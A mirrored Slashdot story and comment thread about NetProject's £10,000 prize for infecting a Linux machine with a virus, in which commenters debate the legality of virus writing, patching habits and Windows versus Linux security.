Slashdot Mirror


£10,000 Prize for Linux Virus Challenge Re-Issued

mutantcamel writes "Eddie Bleasdale, the director of NetProject has been offering £10,000 to the first hacker to infect his Linux machine with a virus for the last two years, and so far no one has hit the jackpot. He's re-announced his challenge to virus writers following a Gartner report which told IT depts. not to trust MS server software because of recent worm attacks on their servers, but a Microsoft exec said yesterday that the hugely successful worm attacks were due to 'tardy' sysadmins."

296 comments

  1. Show me the money! by Dirty+Sanchez+King · · Score: 0, Offtopic

    How much does the British Pound weight?

    --


    You have something above your lip.
    1. Re:Show me the money! by ajuda · · Score: 0, Offtopic

      > How much does the British Pound weight?

      The same as ours... 16 ounces

  2. Virus challenge ... by zangdesign · · Score: 3, Interesting

    So ... write a virus and get rewarded for it? What kind of world do we live in where criminals get rewarded?!

    I guess crime does pay ...

    --
    To celebrate the occasion of my 1000th post, I will post no more forever on Slashdot. Goodbye.
    1. Re:Virus challenge ... by Anonymous Coward · · Score: 0

      This is a troll, right?

    2. Re:Virus challenge ... by DumbSwede · · Score: 3, Insightful
      Yeah and don't forget those criminals Orville and Wilbur Wright who broke the law of Gravity.

      The point here isn't to encourage a plethora of Linux viruses, but to show how relatively safe Linux is compared to Micro-suck. Plus any security hole found, would no doubt be plugged much quicker than a Windows security flaw, which probably has to be reviewed by marketing and the legal department before a fix is forthcoming.

    3. Re:Virus challenge ... by kypper · · Score: 3, Insightful
      So ... write a virus and get rewarded for it? What kind of world do we live in where criminals get rewarded?!


      Wow... I'm sure that will get modded as troll, but he has an interesting point. I question whether some gov agency won't step in and try to arrest anyone who manages to do it.

      Remind you of the DVD-encrypt stuff? I know I am not stupid enough to try and prove to the world that I can wreak havok. Especially not now. That reward will go on unclaimed.

    4. Re:Virus challenge ... by Anonymous Coward · · Score: 0

      Writing a virus is not criminal.

      Using a virus is bad, but not criminal.

    5. Re:Virus challenge ... by firewort · · Score: 3, Insightful

      Just let Ashcroft call all virus-authors terrorists, then see what's criminal!

      the 4th Amendment- it was nice while it lasted...

      --

    6. Re:Virus challenge ... by DumbSwede · · Score: 2, Interesting
      Using a virus is bad, but not criminal.

      If by use, you mean release, with the possibility of economic disruption by corruption of files, denial of service, etc. How is that not Criminal?

      A focused attack on this one computer is probably not illegal, despite Ashcroff's pronouncements, because it is invited. If you write something, and never release it, that is probably not illegal, though of course if you write a virus, and it is discovered, and the legal system can prove (in the sense convince a jury) that there is reasonable intent to distribute, well that is problematic. Best not to write viruses in general.

      For those who wish to pursue this contest, do so in an academic environment. Document your intent, your safe guards, and have your colleges review your safe guards.

    7. Re:Virus challenge ... by Jeremy+Erwin · · Score: 2

      I'm not sure what the point of the challenge is, except perhaps as a marketing/evangelist/flamewar salvo. ("My OS is more scure than your puny little OS. Hah!")

      If the reward is claimed, we can probably expect that patches will be quickly written to defeat more malicious attacks in the future. And script kiddies will probably design similar programs, looking for systems that have yet to be patched...

      It will turn into a bit of a race between the kernel development groups and the exploiters.

      IIRC, a similar challenge was issued for a Mac based webserver (Webstar?)-- the "reward" was claimed by an individual who exploited a fairly insecure third party "classified ads" program. My guess is that third party software will form the basis of most candidate viruses.

      The release, even if inadvertant, of viruses into the "wild" can lead to criminal prosecution. This may provide a safer avenue for certain types of computer security research, unlike the hacksmdi contest^H^H^H^H^H^H^Hsting operation...

    8. Re:Virus challenge ... by Anonymous Coward · · Score: 0

      I mean release. If it's done to do what you say (corruption of files etc.) sure it's criminal. But I consider someone could release this kind of virus on his own (backuped) system, to see what happens. Then if the virus exits the system, and infects systems elsewere, just because the author did not care of this case, it's not criminal.

      (And btw I don't think "economic" arguments can be of any value in any discussion.)

    9. Re:Virus challenge ... by DrEldarion · · Score: 1

      A patch being written is NOT the issue. The issue is that people don't UPDATE their machines. I'm sure there are plenty of Linux users out there who wouldn't patch, and plenty of Windows users as well who wouldn't patch.

      Sure, the Linux hole MAY get patched more quickly, but that really has to do with the person who runs the box caring more. I'd say the average *nix user cares a lot more about this kind of thing than the average Windows user.

      Oh, and I would just like to point out the fact that the following phrases are not, and never were, funny:

      "Micro-suck", "Micro-Shaft", "Micro$oft", "Micro-Shit", "Windoze", etc.

      -- Dr. Eldarion --

    10. Re:Virus challenge ... by Anonymous Coward · · Score: 0

      The weed of crime bears bitter fruit. Crime does not pay. The Shadow knows...

    11. Re:Virus challenge ... by Jetifi · · Score: 1

      Crimony. Writing viruses is not a crime. It is a crime to knowingly propagate a virus, and destroy other people's data.

      Anyone can tell you that most cutting edge viruses never see the wild, they just get sent straight to the AV companies. Of the enormous lists they impress people with, maybe twenty percent or less have been found in the wild. How do you think companies like Symantec develop software to detect polymorphic viruses(polymorphic != encrypting) without studying them, and their evolutions?

    12. Re:Virus challenge ... by aardvarkjoe · · Score: 2

      Last I checked, negligence could be criminal. We expect people to be at least marginally responsible for their actions (or, at least, we should.)

      --

      How can we continue to believe in a just universe and freedom to eat crackers if we have no ale?
    13. Re:Virus challenge ... by DGolden · · Score: 2



      Oh, and I would just like to point out the fact that the following phrases are not, and never were, funny


      Yes, they are. I, for one, find them quite amusing. More seriously, calling the enemy by the name he uses for himself merely legitimizes him. Thus, using those names for Micro$oft are a positive thing if you happen to be opposed to them. I tend to use $cientologist too.

      Asking people to stop using them is a hallmark of an astroturfer, since that's one of the first things MS's crack team of P.R. psychologists would recommend.

      --
      Choice of masters is not freedom.
    14. Re:Virus challenge ... by Anonymous Coward · · Score: 0

      Sure, when you have responsibilities.

      But you're not responsible for people who have *chosen* to be connected to your system. And using Internet is a choice. Negligence may be criminal, but the negligence come from them.

    15. Re:Virus challenge ... by Have+Blue · · Score: 2

      On the contrary, name-calling cheapens your argument and makes you look immature. It's no different from calling Bill Gates a doodoohead. Use facts and real arguments to win, not crapflooding.

    16. Re:Virus challenge ... by zulux · · Score: 1
      Asking people to stop using them is a hallmark of an astroturfer



      Add to that: Any post that has been run though a spell checker is usually from an astroturfer.

      --

      Moneyed corporations, non-working 'poor' and criminal prisoners are turning productive citizens into tax-slaves.

    17. Re:Virus challenge ... by Anonymous Coward · · Score: 0



      A focused attack on this one computer is probably not illegal, despite Ashcroff's pronouncements, because it is invited. If you write something, and never release it, that is probably not illegal, though of course if you write a virus, and it is discovered, and the legal system can prove (in the sense convince a jury) that there is reasonable intent to distribute, well that is problematic. Best not to write viruses in general.

      Well but what is the virus with as starting point Ashcroff computers... Who would be responsible for all the mess... The challenge winner or Ashcroff...

    18. Re:Virus challenge ... by raz16 · · Score: 1

      Sure, you are not responsible for people connected to the Internet, but you are responsible to cut your machine off the Net before running such "tests" as described in the parent post. If you don't do so, you are responsible for your choose (to establish and hold the connection to the Net while trying out your new viruses).

    19. Re:Virus challenge ... by DGolden · · Score: 2

      This is the real world. Cheap, soundbite arguments win the minds of the ignorant masses. If you're swaying the minds of teenagers, then appearing to be on their level is a good thing.

      It is of course different from calling Gates a doodoohead if I use the term "Micro$oft". It's still recognisably "Microsoft", but (a) the dollar sign emphasises that they're all about money. (b) in most parts of the world, also suggests corruption, since (b.1) it's associated with the USA, and (b.2) has connotations of "the serpent on the branch"

      Microsoft uses dirty mind tricks straight out of Psychology 101 - be aware of them!

      --
      Choice of masters is not freedom.
    20. Re:Virus challenge ... by Anonymous Coward · · Score: 0

      So what! That never really stopped most of you Linux-heads anyway from writing viruses against Microsoft. It didn't stop you from knocking down the WTC either. You people are a bunch of socialists, and will stop at no cost bringing down anything which promotes capitalism.

    21. Re:Virus challenge ... by Anonymous Coward · · Score: 0

      Well, I'm not surprised that most windows Systems are seldom patched. I tried to find updates and security fixes myself. It's a real pain. They are hidden behind multiple clicks through information pages and whatever else there is. Microsoft's update pages really really suck big time.

      This is a lot easier with most open source tools. If there are bugs found in Apache, there will be a new version if they are fixed. You can see right away that something changed, install the new version and that's it most of the time.

      From looking at Micrososft's update pages you get the impressen they either don't want people to find the stuff or they have some sort of course the offer and want you to take to learn where they hide their stuff.

      Hell that's really annoying.

      greets,

      Richard

    22. Re:Virus challenge ... by zangdesign · · Score: 1

      What purpose does releasing a virus achieve?

      Computer viruses do not exist naturally in the "wild" unlike their biologic namesakes. Therefore, they HAVE to be created by humans.

      While I can think of many benign uses of computer virii, in every instance an objection has been raised to even that use.

      What is the point of writing viruses then? If benign uses are out, then that leaves only criminal. One can argue that it is testing the system against which it is written, but then that requires that one get permission from EACH and EVERY potential infectee before deployment. Failure to do so is morally (and criminally) wrong.

      Of course, another argument is that it is improving the overall health of the system through some sort of Stollian selection, but then it also raises the question: is this actually some sort of social engineering to which your subjects have not agreed?

      Personally, I vehemently object to being jerked around by programmers who write the damnable things. The economic losses incurred each year due to malicious little shits writing e-mail transmitted viruses is staggering and yet no one seems to blame them. They blame the companies that write the software, they blame the system administrators, they blame everything but the source of the virus itself.

      Virus writers.

      --
      To celebrate the occasion of my 1000th post, I will post no more forever on Slashdot. Goodbye.
    23. Re:Virus challenge ... by linuxelf · · Score: 1

      Along the same lines, if I decide to go shooting randomly down a crowded busy street, then this isn't criminal. I wasn't shooting at anyone in particular, and no one told them to be on that sidewalk at that time of day.

      --
      - "That's just the kind of fuzzy-headed liberal thinking that leads to being eaten."
    24. Re:Virus challenge ... by Anonymous Coward · · Score: 0

      You loser WRITING a virus isnt a crime ... i bet your american .. no wonder its going down the toilet

  3. 'tardy' sysadmins by Anonymous Coward · · Score: 0, Redundant

    Drop the 'y', put a 're' in front.

    1. Re:'tardy' sysadmins by Skapare · · Score: 3, Interesting

      I do find myself somewhat agreeing with Microsoft on this. Bugs happen. Open source may have fewer of them, but they happen with open source, too. Very few open source systems are secure "out of the box". Any admin that assumes otherwise, for BSD, or Linux, or Microsoft Windows, is a retard. Comparing an improperly administered system of one class to a tightly secured system of another is really pointless. It's comparing a retard to someone who knows what they are doing, and cares.

      --
      now we need to go OSS in diesel cars
    2. Re:'tardy' sysadmins by Anonymous Coward · · Score: 1, Informative

      I think it was on the freebsd website that I recently saw something along the lines of "four years without a remote exploit in the default install". Can either Microsoft or the Linux community claim that? Of course not. But the point is, it IS POSSIBLE, you can't just blame sysadmins, the vendor needs to accept some responsibility too. It shows that if a vendor really feels strongly about security, then it is possible.

      On a side note, I struggle to believe that MS isn't legally responsible for damage resulting from defects in its products, or that if they aren't (via EULAs) that people accept this blithely, MS has had a pretty lax attitude up to now.

    3. Re:'tardy' sysadmins by DumbSwede · · Score: 1
      Sysadmins will come in all levels of skill and dedication. MS putting the blame on tardy sysadmins is typical microsoft (big corporations in general actually) deflection of blame.

      I'm sure the cure Microsoft would recommend is that companies hire only Microsoft accredited sysadmins through some expensive Microsoft accreditation system, and when the problem persists, then a request would be issued to pass laws that all internet connected servers running Microsoft be maintained by same.

    4. Re:'tardy' sysadmins by flynn_nrg · · Score: 1

      That quote was on the OpenBSD site, but is hardly surprising since OpenBSD won't enable any service at all unless you tell him to. This, of course, is The Right Way to Do It (tm) instead of the "let's enable every service by default" approach that W2K (Advamced) Server takes. In my experience, the average *ix sysadmin is much more knowledgeable than the average Windows admin about what services is he running.

    5. Re:'tardy' sysadmins by Evil+MarNuke · · Score: 1
      the average *ix sysadmin is much more knowledgeable than the average Windows admin about what services is he running.


      We have `netstat -anp`... they have... ummm... service manager?

      --
      The journey is better then the end.
    6. Re:'tardy' sysadmins by lsdino · · Score: 1

      We have `netstat -anp`... they have... ummm... service manager?

      Just FYI, but under windows you have the equivalent command but instead of "netstat -anp" it's "netstat -ano". I realize the differences between these 2 commands may be great, but the command does still exist. :)

      Of course, netstat and service manager aren't the same tools, because netstat is useful for more than just seeing what Service's you're running - after all, not everything in service manager opens a port, and not everything that opens a port has to be in service manager.

      Looking at service manager is really more like looking in /etc/rc.d/... (or wherever your distribution puts your init scripts at) than looking at netstat...

      And just FYI, you'll find most of your normal unix networking utilities are available at the command line in windows. There's ping, and tracert, ipconfig, route, nslookup, etc... There's nothing more fun then telling some absolute novice "All right, now go to Start->Run and type in 'command' and enter. now type ping hostname, ok, let's try tracert hostname. What's it say? ". Ahh, so much fun...

    7. Re:'tardy' sysadmins by nabucco · · Score: 2

      Yes, OpenBSD is 4 years without a remote hole in the default install. They have a very good code peer review which fixes problems before they become problems. Microsoft trying to lay the blame for this on sysadmins is insane. Yes, I do expect to get an OS out of the box with no major security problems. This just shows you how far removed from reality Microsoft still is. They don't "get it". This is why they have had trouble penetrating into the Fortune 500 high-end market. Engineering does not want to here "you're having this problem because you're tardy". What they're saying in essence is "we expect you to work on our timetable". ie. when some 15-year-old exposes how crappy the security of W2K out-of-box is and they patch it, every client worldwide is expected to immediately upgrade or it's the customers fault because they're tardy. This is not what customer's like to here. Thankfully I only have to deal with Solaris (and Linux) most of the time, and NT/W2K only on occasion. I've had the misfortune of always having some small NT responsibility since NT 3.51 came out. Anyone remember what a piece of crap that was? Windows 3.11 GUI even after Windows 95 came out with it's Mac ripped off interface, constant blue screens of death, weird license restrictions on how many people could connect at once, constant need to edit the registry to do anything but editting the registry would invalidate any support. Blah - it hasn't gotten much better since. I've been sysadminning a while, and most NT admins will admit that UNIX is superior to NT.

    8. Re:'tardy' sysadmins by budgenator · · Score: 2

      I Actualy remember stumbling across a BSD copywrite notice in my win95 machine. I bet ther is a lot more bsd stuff in windows than M$ would ever like to be known. I started to look for a lot of the network utils when I saw that both windows and Linux/BSD systems were vulernable to the same TCP/IP buffer overflow.

      you can amaze a lot of windows only people by knowing how to run common stuff from the command line.

      --
      Apocalypse Cancelled, Sorry, No Ticket Refunds
  4. You can't by Anonymous Coward · · Score: 0

    TOUCH THIS! dah dun dun dun dun dah dah dah dun dun dund

  5. Sexual Reference by Anonymous Coward · · Score: 0

    I bet with 10,000 pounds I could infect him with a virus, if you know what I mean.

  6. something weird on netcraft by Anonymous Coward · · Score: 0

    The site download.microsoft.com is running Microsoft-IIS/5.0 on Linux.

    1. Re:something weird on netcraft by Anonymous Coward · · Score: 0

      Read the FAQ!

      Why do you report impossible operating system/server combinations ?

      Webservers that operate behind a load balancer, reverse proxy server or a firewall will often report the operating system of the load balancer, reverse proxy or firewall server. Hence reports of 'Microsoft/IIS on Linux' indicate that either the web server is behind a Linux server that is acting as a reverse proxy, has been configured to send a different signature or Microsoft have released a version of IIS for Linux.

    2. Re:something weird on netcraft by mike_g · · Score: 2, Insightful
      quoted from netcraft

      Webservers that operate behind a load balancer, reverse proxy server or a firewall will often report the operating system of the load balancer, reverse proxy or firewall server. Hence reports of 'Microsoft/IIS on Linux' indicate that either the web server is behind a Linux server that is acting as a reverse proxy, has been configured to send a different signature or Microsoft have released a version of IIS for Linux.

      And If you look at the history info for download.microsoft.com it shows that it is an akamai site. As well all know akamai runs linux.

    3. Re:something weird on netcraft by Anonymous Coward · · Score: 0

      It's interesting to note the uptimes for download.microsoft.com. When it was Windows 2000 it didn't stay up long at all compared to the Linux servers. And they say Windows 2000 is stable!

  7. 10,000? by Anonymous Coward · · Score: 0

    What, that's like $2 in American money?

    1. Re:10,000? by superpeach · · Score: 1

      Actually, its closer to $15,000. Im sure theres lots of currency converters out there that would tell you that

    2. Re:10,000? by Ayende+Rahien · · Score: 2

      14,517$, as a matter of fact
      1 pound == 1.45$

      --

      --
      Two witches watched two watches.
      Which witch watched which watch?
  8. Win the price by tcc · · Score: 3, Insightful

    And will you be called a "gifted programmer" a "security expert" or a "terrorist"?

    In these times and with all of what's happening with all the laws passed, I wouldn't even dare touching that kind of contest, sure it's gonna make a possible winner popular, but could be also seen as a prime suspect for writing trojan code, and since law enforcement at higher levels often tries to find someone to blame, well, you know the rest.... (as in wrongfully accused, lack of proofs and still convicted, etc etc).

    --
    --- Metamoderating abusive downgraders since my 300th post.
    1. Re:Win the price by bugg · · Score: 2, Insightful
      And will you be called a "gifted programmer"
      If you're under-18 and live with gifted white parents.

      a "security expert"
      If you're in your mid 30s and wear a tie.

      or a "terrorist"?
      If you're an Arab, a Muslim, or are even Arab-looking.

      Sad, but probably true.

      --
      -bugg
    2. Re:Win the price by Anonymous Coward · · Score: 0
      And will you be called a "gifted programmer" If you're under-18 and live with gifted white parents. a "security expert" If you're in your mid 30s and wear a tie. or a "terrorist"? If you're an Arab, a Muslim, or are even Arab-looking.

      Sad but not even close to true. Can you document one case of "racist" prosecution for hacking? Did you miss the news story categorizing "hacking" as a terrorist act? Who has time after time been associated with hacking? Young white males. (course no one cries racism then!) The jails are full of "white" hackers.

      Seems maybe your the racist!

    3. Re:Win the price by Anonymous Coward · · Score: 0

      What is your a white teenager without gifted parents? Would you be a geek? freak?!

  9. This is Stupid by Anonymous Coward · · Score: 4, Interesting

    Keep in mind that default Redhat installation ships with many bugs that all need to be patched. Saying someone can't hack this kids linux box is a reason not to trust MS is just plain stupid. If IT dept. would patch their software and not open idiot attachments you couldnt infect MS BOXES EITHER. Its all about PATCHING, no matter which OS you use.

    Think about it, most MS bugs had patches before they went widescale. If you had taken time to install these patches you wouldn't have been infected. In addition, don't open EXE's that ask for your advice and its extremely hard to infect an NT system as well.

    You cant compare an upgraded and constantly patched linux box to a default Win2k installation.

    1. Re:This is Stupid by Anonymous Coward · · Score: 1, Insightful

      Finally someone talking sense. I don't use MS Windows so i'm not a Microsoft Lover but if you don't update programs with security patches regardless of what OS you use , you're gonna get bit.

    2. Re:This is Stupid by lemox · · Score: 2

      People keep forgetting tha that when Nimda first appeared, there was no patch for it.

      So how do you prevent that one?

      Both platforms have numerours security issues, but I have noticed with a Windows platform the occurence of widespread eploitation before a patch is available occurs much more often than it does on any open source platform, simply because you don't have to wait for official acknowledgement of the problem before someone produces a fix.

      --

      "We obviously need a new moderation category: (-1, Woo-fucking-hoo)" --Mr. AC

    3. Re:This is Stupid by mplex · · Score: 1

      If I remember correctly, the code-red patch had been out since june. The problem is the admins, and not so much the OS. Most of the recent viruses had a patch before they hit.

    4. Re:This is Stupid by ryanr · · Score: 4, Informative

      The patches for holes that Nimda took advantage of had been available for months. The relevent BIDs can be found in here:
      http://aris.securityfocus.com/alerts/nimda/010921- Analysis-Nimda-v2.pdf

    5. Re:This is Stupid by BlowCat · · Score: 3, Insightful
      You cant compare an upgraded and constantly patched linux box to a default Win2k installation.
      I don't understand what you are rererring to. The Gartner report discourage using IIS on maintained systems. It is not about default installations.

      The guy just holds a contest. You can do the same with a Windows box. It won't mean that you are comparing patched Windows with the default Linux installation. It will only mean that you are testing how stable patched Windows can be.

      Too bad that a lot of slashdot moderators sympatize to M$ so much that they moderate up very weak arguments that just please them.

    6. Re:This is Stupid by mckyj57 · · Score: 1

      You ignore the fact that Windows either enforces or encourages access by the regular user to all files and resources. As long as they don't make it a pain to run as "Administrator" (or horrors, the monolithic permissions of Win9x/ME) then their model sucks.

      The other problem is that reinstalling and rebooting is considered to be a valid mechanism for doing things. As long as you do that, security is problematic; the more reboots the less secure the machine is, no matter the OS. Running all of your init procedures repeatedly invites a trojan.

    7. Re:This is Stupid by aardvarkjoe · · Score: 2

      Too bad that a lot of slashdot moderators sympatize to M$ so much that they moderate up very weak arguments that just please them.
      Maybe you ought to take out the 'symathize with M$' part -- M$, linux, gnome, kde, and nader supporters all do the same thing. perhaps we need a click-though license on the moderation guidelines before they can moderate ... now THAT'll solve the problems...

      --

      How can we continue to believe in a just universe and freedom to eat crackers if we have no ale?
    8. Re:This is Stupid by lemox · · Score: 2

      Sorry, my mistake. Earlier I had thought that that 2708 was not patched at the time, but I guess I was wrong.

      --

      "We obviously need a new moderation category: (-1, Woo-fucking-hoo)" --Mr. AC

    9. Re:This is Stupid by trentfoley · · Score: 2, Informative

      If you had taken time to install these patches you wouldn't have been infected

      I agree that systems must be patched. But, lets get real -- From my own experience, installing Microsoft patches is inherently unsafe. I must admit that it has been a while since I dealt with Microsoft Servers. However, I was involved in a hot-fix install where 39 out of 40 NT4.0 servers took patches just fine, but on that 40th, whoa!!! Corrupted registry, blue screen, total failure. Even after restoring from the backup, the patch caused the same failure. According to my client's MCSE, it turned out to be a hosed Microsoft Exchange setup that caused the problem. Perhaps it was my client's fault, but because of their service contract with another 3rd party responsible for Exchange, it took three full days of downtime to get Exchange reinstalled on a patched NT4.0 installation. My group got reamed for the email downtime when all we did was apply security fixes.

      The point I'm trying to make is this: How many admins out there have been burned by applying MS hot-fixes and wait until a full service pack before doing anything, if even then?

    10. Re:This is Stupid by BlowCat · · Score: 1
      You are right. It's not M$ specific.

      I'm afraid that displaying the guidelines won't make people think.

      On the other hand, enforcing the -1 threshold for moderation (or introducing a special "moderation mode") would increase quality of moderation. There is no reason why already moderated comments should be more visible to another moderator.

    11. Re:This is Stupid by sheldon · · Score: 2

      "The Gartner report discourage using IIS on maintained systems. It is not about default installations."

      No it doesn't. Read the report again and notice the point where it says 'Enterprises infected by both Code Red and Nimda.'

      Given that patches for these were available for quite a long time, in the case of Nimda around 18 months... They obviously were not talking about maintained systems.

    12. Re:This is Stupid by Martin+Blank · · Score: 1
      How many admins out there have been burned by applying MS hot-fixes and wait until a full service pack before doing anything, if even then?

      Everyone who has really gotten into the guts Windows 95 or later has had the painful experience of a file or registry corruption. Some of us have had the doubly unpleasant experience of both at the same time. This is not, however, a valid argument for avoiding hotfixes.

      In October of 2000, I asked one of the guys handling standards at my company (theoretically a smart guy with lots of admin experience) if I could install a particular NT4 hotfix on someone's computer. His response: "We don't install anything later than SP4 on NT systems because nothing later has been tested, and we never install hotfixes because they might be unstable, so we wait for the service packs."

      I couldn't quite believe what he had just said. I understood the initial lockdown of SP4 in 1999, which was for Y2K compliance, but by the time I had asked the question, TWO service packs had been released, not to mention a couple of dozen hotfixes. A year later now, my own Windows 2000 system has about the lowest chance of any system in the company (5000 people worldwide) becoming infected or hacked because I do keep up to date on the patches and service packs. Every time a new virus comes out, the security team goes running around crying about how we're doomed, and we have to get the latest Trend (AAAARGH!!! Saying that name hurts.....) patches and signatures out. When I calmly look at the description, there's usually something about a patch released for Windows two or three months before that was never installed, except for my system and perhaps a handful of others I've visited.

      It's not a perfect solution, but I've talked the tech guys I work with into installing all of the post-SP2 hotfixes onto the W2K systems as we roll them out. I'm also working with the level-headed head of security to get something else implemented more or less behind the scenes. Unfortunately, despite being CSO, he has little power because of the "distributed" nature of security at the company, where each business unit is responsible for its own security. This is a bad idea when most of the business units barely have people who can install software.

      --
      You can never go home again... but I guess you can shop there.
    13. Re:This is Stupid by prog-guru · · Score: 1

      They were available, but mixed in with several hundred other patches for windows, media player, excel, etc. I think that shows another problem with M$'s patch system.

      If they would release service packs at regular intervals (once a year maybe?), it would help. The last NT4 service pack was 6a, and that was in 1999. If you build a new NT4 machine, you have to look through all the patches from 2000 and 2001, about 100 each year.

      --

      chris@xanadu:~$ whatis /.
      /.: nothing appropriate.

    14. Re:This is Stupid by jamoke · · Score: 1

      There seems to be a whole new generation of M$ supporters that believe anyone that isn't building systems the M$ way is crazy. I work with a number of MCSE's, and have yet to talk to one of them that really understands systems the way a person with a Unix/Linux background does. *nix people seem to understand the M$ systems better than the M$ bred folks do.. I recommend that all M$ so called techies take a trip into the Unix/Linux world buy building and maintaining a *nix Server or two. It will open your eyes.

    15. Re:This is Stupid by jamoke · · Score: 1

      That's great advice. The problem is that you can't stop your users from opening EXEs. I have yet to block EXE attachments from our mail systems. On the very day that I sent out an email warning all of our users not to open EXE, and other file attachments it was reported back to me that the project manager, my boss was opening Osama Bin Laden joke EXE's on his Windows machine. Sure I keep all the latest M$ patches in the NT workstations, and yes , I've been lucky, but you can't stop users from doing whatever the hell they want short of blocking email attachments.

    16. Re:This is Stupid by fanatic · · Score: 2

      it would help. The last NT4 service pack was 6a, and that was in 1999

      Wholly intentional, I'm sure. MS want to push everyone to W2k and XP, where the vendor lock-in is much greater due to the authentication protocols used. Plus, no vendor, even a good one, wants to support more versions than they have to.

      --
      "that's not encryption - it's a new perl script that I'm working on..." - from some Matrix parody
    17. Re:This is Stupid by Tony-A · · Score: 1

      You cant compare an upgraded and constantly patched linux box to a default Win2k installation.
      Oh yes I can. It has to do with the amount of time and effort I am willing to spend, and the trust I have that the upgrades will not break things in the upgraded systems. Ftp the lot and rpm -Fvh *.rpm is about as easy as it can get. My Linux systems are patched. My NT systems are not. My IIS systems are shut down, unpatched and uninfected.

    18. Re:This is Stupid by Anonymous Coward · · Score: 0

      Everyone who has really gotten into the guts Windows 95 or later has had the painful experience of a file or registry corruption.

      Like most things, prevention is the best medicine, and using the NTFS filesystem is the best prevention for this sorta thing. However, there seems to be some sorta MCSE drone mantra to intstall the system onto a FAT disk. Security and Stability be damned -- there might be an outside chance that a problem is fixable with DOS -- although it seems like they'll reinstall rather than try that.

      (I'll give MS 1 prop -- NTFS is finally the default even for consumer XP. However, with everyone as Administrator, it won't matter much...)

    19. Re:This is Stupid by Anonymous Coward · · Score: 0

      Don't forget that Redhat and other Linux distributors ship new versions 2-4 times a year, and that patches for security issues are already applied to the material on the distribution media.

      Microsoft, otoh, keeps shipping the same OS for several years, with a copy of the latest SP attached to it (which you have to apply after every change). Security patches have to be applied separately, and the admin has to find them.

      Systems shipped today, with Windows 2000 pre-installed, still include the vulnerability for Code Red. The fix has to make it into an official SP and the distribution images used by the manufacturer first.

    20. Re:This is Stupid by Tony-A · · Score: 1

      For self-defense.
      Install NT on small FAT partition at front of disk.
      Create NTFS partition.
      Install real NT on newly created partition.
      Early NT systems would destroy read-only files used in booting.
      Another stunt is to make an NT boot floppy.

    21. Re:This is Stupid by budgenator · · Score: 2

      Actualy I try to avoid wasting mod points on something all ready mod'ed unless I feel it's an off-base mod. I don't like the meta-mod system much because you don't see the orginal post or ref'ed articles, and certanly can't follow the thread so anything you do is out of context.

      --
      Apocalypse Cancelled, Sorry, No Ticket Refunds
    22. Re:This is Stupid by staeci · · Score: 1

      I have a friend who works in a call-center for Energex (Australia's power distro). A lot (not all) of their setup is NT4 but only patched upto around SP4 because so much of their system breaks going any further.

      --
      'Welcome to Rivendell, Mr. Anderson...'
    23. Re:This is Stupid by Anonymous Coward · · Score: 0

      I hate to point this out but it is a full time job keeping up with the patches for IIS. If one of these new virus comes out on a saturday you
      are probably infected before you even get to work on monday. A small company that cannot afford a full time sysadmin to ensure the IIS has all the latest patches each day is bound to get screwed every time one of these new viruses comes out.

    24. Re:This is Stupid by smittyoneeach · · Score: 1

      Our webmaster keeps the box fully patch, yet our NT 4.x box was thrashed by nimda. I think it all points to that bit of Southern engineering wisdom:
      "Y'all just can't polish a turd."

      --
      Get thee glass eyes, and, like a scurvy politician, seem to see things thou dost not.--King Lear
    25. Re:This is Stupid by Anonymous Coward · · Score: 0

      Yeah right, and everyone in the world also has to hire Admins to patch they browser? Didn't you learn that you can get infected WITHOUT opening any attachment? It was an IFRAME bug and it fucked thouthans of unpatched Outlooks and IE. Untill then, i considered Windows secure (if properly used). Your idea of a secure system is one that has lots patches? I tough it had something to do to not having important security issues like exposing the ENTIRE BOX AND LOCAL NETWORK!

  10. Irresponisble by Hieronymus+Howard · · Score: 2, Interesting

    Does anyone else think that it is irresponsible to try to persuade virus writers to target Linux? What happens if someone is successful and unleashes a particularly nasty linux virus on us?

    Let the virus kiddies stick to targeting Windoze.

    HH

    1. Re:Irresponisble by DumbSwede · · Score: 1

      If anyone actually wins this prize, it seems extremely unlikely he would want to infect other computers, or do anything in a way that would jeopardize claiming the prize money, since that's the motive for writing the virus in the first place. Lets not get too paranoid about the legal system, this would be an invited attack, and the winner would have their pick of security consultant positions around the IT world.

    2. Re:Irresponisble by Anonymous Coward · · Score: 0

      You are right. Somebody please sue that idiot.

  11. Does it have to be a virus? by neema · · Score: 5, Funny

    Does he just want his linux box destroyed or does it have to be a virus? He can give me his address, I'll gladly fly down to his house and smash up his linux box with a bat for 10,000 pounds (that's around 14,534 dollars and 22 cents).

    1. Re:Does it have to be a virus? by Anonymous Coward · · Score: 0

      You could break into his house and just put a floppy in there.

    2. Re:Does it have to be a virus? by Anonymous Coward · · Score: 0

      "MS-DOS Install disk" ;)

  12. A non infected microsoft owned server? by Anonymous Coward · · Score: 0
  13. Two years and Nothing?? by narfbot · · Score: 1, Interesting

    I'm guessing the virus writers gave up already. I'm sure 10,000 pounds is not worth the time of two years. It sounds to me that it's impossible. They should increase that amount by an exponent of 100 and see what happens.

    But it's even more funny that they have to pay people to attempt to write a virus, on a free and open source system. This only means one thing...Linux really works!

    1. Re:Two years and Nothing?? by Dufffader · · Score: 1

      Can we also intepret this to mean that most virus coders are passionate about Linux and are out to get the evil empire?

    2. Re:Two years and Nothing?? by neema · · Score: 2

      Don't forget, he doesn't just want you to write the virus, but actually infect his computer with it. That's considerably harder.

    3. Re:Two years and Nothing?? by QuantumG · · Score: 2

      The challenge was given to Sophos to infect his computer. Antivirus companies usually dont go around doing this. It's not like he got on #virus on undernet and offered the cash to the people who actually write these things.

      --
      How we know is more important than what we know.
  14. hah--tardy by Anonymous Coward · · Score: 0

    meaning they don't download critical updates 5 times a day the second the next new virus is released(as if they even have a fix for it that fast)

  15. If businesses want to make their networks secure by Skapare · · Score: 4, Insightful

    If businesses want to make their networks secure, they need to hire someone who cares and knows how, and pay well to get that person. Then don't hinder them with petty things like bureaucracy. They should report directly to the CTO or CIO, or actually be the CTO or CIO.

    --
    now we need to go OSS in diesel cars
  16. I didn't know hackers wire viruses by ZeroZenith · · Score: 1

    Found on the same site Virus & Hacking

    --
    -- ZeroZenith
  17. Big deal by WildBeast · · Score: 1

    If he doesn't run his email attachments he'll be safe. What's the big deal?

    1. Re:Big deal by 40ohms · · Score: 1

